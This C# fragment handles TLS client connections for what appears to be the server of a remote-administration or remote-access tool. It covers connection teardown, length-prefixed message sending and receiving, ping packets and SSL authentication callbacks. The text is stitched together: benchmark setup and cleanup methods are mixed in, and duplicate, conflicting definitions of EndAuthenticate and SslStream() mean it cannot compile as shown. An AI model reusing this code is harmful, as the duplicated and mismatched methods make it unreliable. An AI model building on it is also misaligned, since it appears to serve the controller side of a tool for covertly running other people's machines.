public void Disconnected()
{
try
{
if (LV != null)
{
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
}
lock (Settings.Online)
Settings.Online.Remove(this);
}
}
catch { }
try
{
ClientSslStream?.Close();
ClientSocket?.Close();
ClientSslStream?.Dispose();
ClientSocket?.Dispose();
ClientMS?.Dispose();
}
catch { }
}
public void Send(object msg)
{
lock (SendSync)
{
try
{
if (!ClientSocket.Connected)
{
Disconnected();
return;
}
if ((byte[])msg == null)
{
return;
}
byte[] buffer = (byte[])msg;
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
ClientSocket.Poll(-1, SelectMode.SelectWrite);
ClientSslStream.Write(buffersize, 0, buffersize.Length);
ClientSslStream.Write(buffer, 0, buffer.Length);
ClientSslStream.Flush();
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
Settings.Sent += buffer.Length;
}
catch
{
Disconnected();
return;
}
}
}
protected sealed override void IterationSetupSslStream()
{
TcpClient = new TcpClient();
TcpClient.Connect((IPEndPoint)TcpListener.LocalEndpoint);
ClientSslStream = CreateSslStream(TcpClient.GetStream());
ClientSslStream.AuthenticateAsClient("localhost");
}
public async void ReadClientData(IAsyncResult ar)
{
try
{
if (!ClientSocket.Connected)
{
Disconnected();
return;
}
else
{
int Recevied = ClientSslStream.EndRead(ar);
if (Recevied > 0)
{
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
if (!ClientBufferRecevied)
{
if (ClientMS.Length == 4)
{
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose();
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{
ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
ClientBufferRecevied = true;
}
}
}
else
{
Settings.Received += Recevied;
BytesRecevied += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { ClientMS.ToArray(), this });
ClientBuffer = new byte[4];
ClientMS.Dispose();
ClientMS = new MemoryStream();
ClientBufferRecevied = false;
}
}
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
}
else
{
Disconnected();
return;
}
}
}
catch
{
Disconnected();
return;
}
}
private void EndAuthenticate(IAsyncResult ar)
{
try
{
ClientSslStream.EndAuthenticateAsServer(ar);
ClientBuffer = new byte[4];
ClientMS = new MemoryStream();
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
}
catch
{
ClientSslStream?.Dispose();
ClientSocket?.Dispose();
}
}
private void EndAuthenticate(IAsyncResult ar)
{
try
{
ClientSslStream.EndAuthenticateAsServer(ar);
ClientBuffer = new byte[4];
ClientMS = new MemoryStream();
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
}
catch
{
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
ClientSslStream?.Dispose();
ClientSocket?.Dispose();
}
}
public void Ping(object obj)
{
lock (SendSync)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
byte[] buffer = msgpack.Encode2Bytes();
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
ClientSocket.Poll(-1, SelectMode.SelectWrite);
ClientSslStream.Write(buffersize, 0, buffersize.Length);
ClientSslStream.Write(buffer, 0, buffer.Length);
ClientSslStream.Flush();
}
catch
{
Disconnected();
return;
}
}
}
public void SslStream()
{
ClientSslStream.Dispose();
TcpClient.Dispose();
}
protected sealed override void IterationCleanupSslStream()
{
ClientSslStream.Dispose();
TcpClient.Dispose();
}
public void SslStream()
{
TcpClient.Connect((IPEndPoint)TcpListener.LocalEndpoint);
ClientSslStream = CreateSslStream(TcpClient.GetStream());
ClientSslStream.AuthenticateAsClient("localhost");
}
